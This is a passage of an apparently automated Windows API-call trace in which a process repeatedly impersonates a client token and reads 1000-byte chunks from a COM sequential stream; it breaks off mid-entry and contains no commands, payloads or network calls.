1 [0147.729] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.729] GetCurrentThread () returned 0xfffffffffffffffe [0147.729] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.729] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.729] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.729] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.729] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.729] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.729] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.730] GetCurrentThread () returned 0xfffffffffffffffe [0147.730] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.730] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.730] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.730] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.730] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.730] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.730] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.730] GetCurrentThread () returned 0xfffffffffffffffe [0147.730] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.730] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.731] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.731] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x82, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.731] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.731] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.731] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.731] GetCurrentThread () returned 0xfffffffffffffffe [0147.731] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.731] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.731] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.732] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.732] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.732] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.734] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.734] GetCurrentThread () returned 0xfffffffffffffffe [0147.734] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.734] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.734] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.734] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.734] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.734] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.734] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.734] GetCurrentThread () returned 0xfffffffffffffffe [0147.735] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.735] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.735] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.735] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x79, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.735] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.735] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.735] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.735] GetCurrentThread () returned 0xfffffffffffffffe [0147.735] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.735] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.736] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.736] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x67, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.736] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.736] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.736] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.736] GetCurrentThread () returned 0xfffffffffffffffe [0147.736] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.736] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.737] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.737] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x1d, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.737] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.737] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.737] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.737] GetCurrentThread () returned 0xfffffffffffffffe [0147.737] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.737] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.737] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.737] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x37, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.738] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.738] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.738] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.738] GetCurrentThread () returned 0xfffffffffffffffe [0147.738] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.738] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.738] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.738] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xe5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.738] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.738] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.739] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.739] GetCurrentThread () returned 0xfffffffffffffffe [0147.739] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.739] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.739] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.739] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x28, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.739] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.739] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.740] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.740] GetCurrentThread () returned 0xfffffffffffffffe [0147.740] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.740] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.740] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.740] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x93, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.740] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.740] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.741] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.741] GetCurrentThread () returned 0xfffffffffffffffe [0147.741] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.741] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.741] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.741] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.741] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.741] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.742] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.742] GetCurrentThread () returned 0xfffffffffffffffe [0147.742] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.742] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.742] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.742] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x58, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.742] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.742] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.742] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.742] GetCurrentThread () returned 0xfffffffffffffffe [0147.742] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.743] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.743] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.743] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x60, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.743] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.743] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.743] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.743] GetCurrentThread () returned 0xfffffffffffffffe [0147.743] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.744] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.744] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.744] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa2, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.744] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.744] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.744] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.744] GetCurrentThread () returned 0xfffffffffffffffe [0147.744] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.744] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.745] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.745] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x46, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.745] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.745] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.745] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.745] GetCurrentThread () returned 0xfffffffffffffffe [0147.745] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.745] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.746] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.746] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.746] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.746] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.746] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.746] GetCurrentThread () returned 0xfffffffffffffffe [0147.746] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.746] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.746] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.747] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x82, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.747] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.747] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.747] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.748] GetCurrentThread () returned 0xfffffffffffffffe [0147.748] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.748] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.748] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.748] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa1, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.748] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.748] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.748] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.748] GetCurrentThread () returned 0xfffffffffffffffe [0147.748] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.748] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.749] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.749] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf9, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.749] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.749] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.749] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.749] GetCurrentThread () returned 0xfffffffffffffffe [0147.749] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.749] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.749] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.749] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x84, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.749] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.750] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.750] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.750] GetCurrentThread () returned 0xfffffffffffffffe [0147.750] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.750] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.750] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.750] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.750] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.750] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.751] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.751] GetCurrentThread () returned 0xfffffffffffffffe [0147.751] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.751] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.751] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.751] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc4, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.751] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.751] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.752] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.752] GetCurrentThread () returned 0xfffffffffffffffe [0147.752] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.752] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.752] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.752] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf6, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.752] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.752] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.753] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.753] GetCurrentThread () returned 0xfffffffffffffffe [0147.753] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.753] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.753] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.753] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xbf, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.753] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.753] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.753] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.754] GetCurrentThread () returned 0xfffffffffffffffe [0147.754] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.754] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.754] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.754] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa2, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.754] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.754] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.754] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.754] GetCurrentThread () returned 0xfffffffffffffffe [0147.754] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.755] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.755] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.755] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x1e, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.755] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.755] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.755] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.755] GetCurrentThread () returned 0xfffffffffffffffe [0147.755] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.755] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.755] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.756] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x39, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.756] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.756] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.756] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.756] GetCurrentThread () returned 0xfffffffffffffffe [0147.756] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.756] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.756] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.756] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa1, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.756] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.757] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.757] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.757] GetCurrentThread () returned 0xfffffffffffffffe [0147.757] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.757] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.757] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.757] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x2a, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.757] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.758] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.758] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.758] GetCurrentThread () returned 0xfffffffffffffffe [0147.758] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.758] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.758] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.758] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x98, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.759] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.759] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.759] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.759] GetCurrentThread () returned 0xfffffffffffffffe [0147.759] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.759] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.759] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.760] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xdd, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.760] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.760] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.760] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.760] GetCurrentThread () returned 0xfffffffffffffffe [0147.760] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.760] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.760] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.760] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.760] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.760] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.761] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.761] GetCurrentThread () returned 0xfffffffffffffffe [0147.761] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, 